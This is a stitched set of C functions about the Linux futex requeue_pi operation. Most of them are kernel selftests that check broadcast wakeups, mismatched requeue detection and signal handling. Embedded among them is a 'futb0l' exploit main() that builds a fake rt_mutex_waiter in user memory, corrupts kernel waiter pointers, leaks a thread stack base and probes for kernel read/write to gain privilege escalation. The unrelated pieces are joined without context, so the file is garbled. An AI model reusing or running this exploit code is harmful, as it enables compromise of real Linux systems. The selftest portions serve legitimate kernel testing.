void *broadcast_wakerfn(void *arg) { struct thread_arg *args = (struct thread_arg *)arg; int nr_requeue = INT_MAX; int task_count = 0; futex_t old_val; int nr_wake = 1; int i = 0; info("Waker: waiting for waiters to block\n"); while (waiters_blocked.val < THREAD_MAX) usleep(1000); usleep(1000); info("Waker: Calling broadcast\n"); if (args->lock) { info("Calling FUTEX_LOCK_PI on mutex=%x @ %p\n", f2, &f2); futex_lock_pi(&f2, NULL, 0, FUTEX_PRIVATE_FLAG); } continue_requeue: old_val = f1; args->ret = futex_cmp_requeue_pi(&f1, old_val, &f2, nr_wake, nr_requeue, FUTEX_PRIVATE_FLAG); if (args->ret < 0) { args->ret = RET_ERROR; error("FUTEX_CMP_REQUEUE_PI failed\n", errno); } else if (++i < MAX_WAKE_ITERS) { task_count += args->ret; if (task_count < THREAD_MAX - waiters_woken.val) goto continue_requeue; } else { error("max broadcast iterations (%d) reached with %d/%d tasks woken or requeued\n", 0, MAX_WAKE_ITERS, task_count, THREAD_MAX); args->ret = RET_ERROR; } futex_wake(&wake_complete, 1, FUTEX_PRIVATE_FLAG); if (args->lock) futex_unlock_pi(&f2, FUTEX_PRIVATE_FLAG); if (args->ret > 0) args->ret = task_count; info("Waker: exiting with %d\n", args->ret); pthread_exit((void *)&args->ret); }
int main(int argc, char *argv[]) { int ret = RET_PASS; pthread_t child; int c; while ((c = getopt(argc, argv, "chv:")) != -1) { switch (c) { case 'c': log_color(1); break; case 'h': usage(basename(argv[0])); exit(0); case 'v': log_verbosity(atoi(optarg)); break; default: usage(basename(argv[0])); exit(1); } } printf("%s: Detect mismatched requeue_pi operations\n", basename(argv[0])); if (pthread_create(&child, NULL, blocking_child, NULL)) { error("pthread_create\n", errno); ret = RET_ERROR; goto out; } /* Allow the child to block in the kernel. */ sleep(1); /* * The kernel should detect the waiter did not setup the * q->requeue_pi_key and return -EINVAL. If it does not, * it likely gave the lock to the child, which is now hung * in the kernel. */ ret = futex_cmp_requeue_pi(&f1, f1, &f2, 1, 0, FUTEX_PRIVATE_FLAG); if (ret < 0) { if (errno == EINVAL) { /* * The kernel correctly detected the mismatched * requeue_pi target and aborted. Wake the child with * FUTEX_WAKE. */ ret = futex_wake(&f1, 1, FUTEX_PRIVATE_FLAG); if (ret == 1) { ret = RET_PASS; } else if (ret < 0) { error("futex_wake\n", errno); ret = RET_ERROR; } else { error("futex_wake did not wake the child\n", 0); ret = RET_ERROR; } } else { error("futex_cmp_requeue_pi\n", errno); ret = RET_ERROR; } } else if (ret > 0) { fail("futex_cmp_requeue_pi failed to detect the mismatch\n"); ret = RET_FAIL; } else { error("futex_cmp_requeue_pi found no waiters\n", 0); ret = RET_ERROR; } pthread_join(child, NULL); if (!ret) ret = child_ret; out: /* If the kernel crashes, we shouldn't return at all. */ print_result(TEST_NAME, ret); return ret; }
int main(int argc, char **argv){ pthread_t w1,l1,l2; int ret,prio; int fd = open("/dev/null", O_RDWR); struct rt_mutex_waiter *fake_userspace_waiter,*overwrite_waiter,*kernel_waiter; if(argc < 2) { printf("usage: %s offset\n", argv[0]); return; } printf("starting futb0l\n"); WAITER_OVERWRITE_OFFSET = atoi(argv[1]); if(WAITER_OVERWRITE_OFFSET > (512-WAITER_OVERWRITE_SIZE) || WAITER_OVERWRITE_OFFSET < 0){ printf("invalid offset\n"); return; } printf("using offset: %d\n",WAITER_OVERWRITE_OFFSET); sem_values = malloc(WAITER_OVERWRITE_SIZE+WAITER_OVERWRITE_OFFSET); cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(0, &mask); if((ret = sched_setaffinity(getpid(), sizeof(mask), &mask)) < 0){ perror("sched_setaffinity"); } if((ret = futex_lock_pi(&destfutex, NULL, 0, 0)) < 0){ perror("futex_lock_pi"); } prio = 16; if ((ret = pthread_create(&w1, NULL, ger, &prio)) != 0) { perror("pthread_create\n"); } sleep(1); if((ret = futex_cmp_requeue_pi(&srcfutex, srcfutex, &destfutex, 1, 2, 0)) < 0){ perror("futex_cmp_requeue_pi"); } sleep(1); if((fake_userspace_waiter = mmap((void*)KERNABLE, sizeof(struct rb_node), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0)) == MAP_FAILED){ perror("mmap"); } fake_userspace_waiter->tree_entry.rb_right=fake_userspace_waiter->tree_entry.rb_left=NULL; fake_userspace_waiter->prio = 137 /*2147483647*/; overwrite_waiter = (struct rt_mutex_waiter*) (sem_values+WAITER_OVERWRITE_OFFSET/2); overwrite_waiter->tree_entry.rb_right = (struct rb_node *)KERNABLE; overwrite_waiter->tree_entry.rb_left = 0; overwrite_waiter->tree_entry.__rb_parent_color = 1; sem_values[0] = 0xffff; // make the syscall return asap, this check happens after copying destfutex = 0; if((ret = futex_cmp_requeue_pi(&destfutex, 0, &destfutex, 1, 0, 0)) < 0){ perror("bugged futex_cmp_requeue_pi"); } usleep(500000); prio = 15; if ((ret = pthread_create(&l1, NULL, prio_thread, &prio)) != 0) { perror("pthread_create\n"); } usleep(500000); kernel_waiter = (struct rt_mutex_waiter*)fake_userspace_waiter->tree_entry.rb_left; tbase = (unsigned long)kernel_waiter & 0xffffffffffffe000; printf("found thread stack base: 0x%lx\n",tbase); if(write(fd, (void*)(tbase+24), 8) < 0) printf("no kernel r/w... yet\n"); fake_userspace_waiter->tree_entry.rb_right = NULL; fake_userspace_waiter->tree_entry.rb_left = NULL; overwrite_waiter->tree_entry.rb_right = (struct rb_node*)(tbase+40); overwrite_waiter->tree_entry.rb_left = 0; overwrite_waiter->tree_entry.__rb_parent_color = tbase+24; proceed_to_overwrite = 1; usleep(1000); prio = 14; if ((ret = pthread_create(&l2, NULL, prio_thread, &prio)) != 0) { perror("pthread_create\n"); } usleep(500000); proceed_to_overwrite = 1; pthread_join(w1,NULL); pthread_join(l1,NULL); pthread_join(l2,NULL); }
int main(int argc, char *argv[]) { unsigned int old_val; struct sigaction sa; pthread_t waiter; int c, res, ret = RET_PASS; while ((c = getopt(argc, argv, "chv:")) != -1) { switch (c) { case 'c': log_color(1); break; case 'h': usage(basename(argv[0])); exit(0); case 'v': log_verbosity(atoi(optarg)); break; default: usage(basename(argv[0])); exit(1); } } ksft_print_header(); ksft_set_plan(1); ksft_print_msg("%s: Test signal handling during requeue_pi\n", basename(argv[0])); ksft_print_msg("\tArguments: <none>\n"); sa.sa_handler = handle_signal; sigemptyset(&sa.sa_mask); sa.sa_flags = 0; if (sigaction(SIGUSR1, &sa, NULL)) { error("sigaction\n", errno); exit(1); } info("m1:f2: %x\n", f2); info("Creating waiter\n"); res = create_rt_thread(&waiter, waiterfn, NULL, SCHED_FIFO, 1); if (res) { error("Creating waiting thread failed", res); ret = RET_ERROR; goto out; } info("Calling FUTEX_LOCK_PI on f2=%x @ %p\n", f2, &f2); info("m2:f2: %x\n", f2); futex_lock_pi(&f2, 0, 0, FUTEX_PRIVATE_FLAG); info("m3:f2: %x\n", f2); while (1) { /* * signal the waiter before requeue, waiter should automatically * restart futex_wait_requeue_pi() in the kernel. Wait for the * waiter to block on f1 again. */ info("Issuing SIGUSR1 to waiter\n"); pthread_kill(waiter, SIGUSR1); usleep(DELAY_US); info("Requeueing waiter via FUTEX_CMP_REQUEUE_PI\n"); old_val = f1; res = futex_cmp_requeue_pi(&f1, old_val, &(f2), 1, 0, FUTEX_PRIVATE_FLAG); /* * If res is non-zero, we either requeued the waiter or hit an * error, break out and handle it. If it is zero, then the * signal may have hit before the the waiter was blocked on f1. * Try again. */ if (res > 0) { atomic_set(&requeued, 1); break; } else if (res < 0) { error("FUTEX_CMP_REQUEUE_PI failed\n", errno); ret = RET_ERROR; break; } } info("m4:f2: %x\n", f2); /* * Signal the waiter after requeue, waiter should return from * futex_wait_requeue_pi() with EWOULDBLOCK. Join the thread here so the * futex_unlock_pi() can't happen before the signal wakeup is detected * in the kernel. */ info("Issuing SIGUSR1 to waiter\n"); pthread_kill(waiter, SIGUSR1); info("Waiting for waiter to return\n"); pthread_join(waiter, NULL); info("Calling FUTEX_UNLOCK_PI on mutex=%x @ %p\n", f2, &f2); futex_unlock_pi(&f2, FUTEX_PRIVATE_FLAG); info("m5:f2: %x\n", f2); out: if (ret == RET_PASS && waiter_ret) ret = waiter_ret; print_result(TEST_NAME, ret); return ret; }
void *signal_wakerfn(void *arg) { struct thread_arg *args = (struct thread_arg *)arg; unsigned int old_val; int nr_requeue = 0; int task_count = 0; int nr_wake = 1; int i = 0; info("Waker: waiting for waiters to block\n"); while (waiters_blocked.val < THREAD_MAX) usleep(1000); usleep(1000); while (task_count < THREAD_MAX && waiters_woken.val < THREAD_MAX) { info("task_count: %d, waiters_woken: %d\n", task_count, waiters_woken.val); if (args->lock) { info("Calling FUTEX_LOCK_PI on mutex=%x @ %p\n", f2, &f2); futex_lock_pi(&f2, NULL, 0, FUTEX_PRIVATE_FLAG); } info("Waker: Calling signal\n"); /* cond_signal */ old_val = f1; args->ret = futex_cmp_requeue_pi(&f1, old_val, &f2, nr_wake, nr_requeue, FUTEX_PRIVATE_FLAG); if (args->ret < 0) args->ret = -errno; info("futex: %x\n", f2); if (args->lock) { info("Calling FUTEX_UNLOCK_PI on mutex=%x @ %p\n", f2, &f2); futex_unlock_pi(&f2, FUTEX_PRIVATE_FLAG); } info("futex: %x\n", f2); if (args->ret < 0) { error("FUTEX_CMP_REQUEUE_PI failed\n", errno); args->ret = RET_ERROR; break; } task_count += args->ret; usleep(SIGNAL_PERIOD_US); i++; /* we have to loop at least THREAD_MAX times */ if (i > MAX_WAKE_ITERS + THREAD_MAX) { error("max signaling iterations (%d) reached, giving up on pending waiters.\n", 0, MAX_WAKE_ITERS + THREAD_MAX); args->ret = RET_ERROR; break; } } futex_wake(&wake_complete, 1, FUTEX_PRIVATE_FLAG); if (args->ret >= 0) args->ret = task_count; info("Waker: exiting with %d\n", args->ret); info("Waker: waiters_woken: %d\n", waiters_woken.val); pthread_exit((void *)&args->ret); }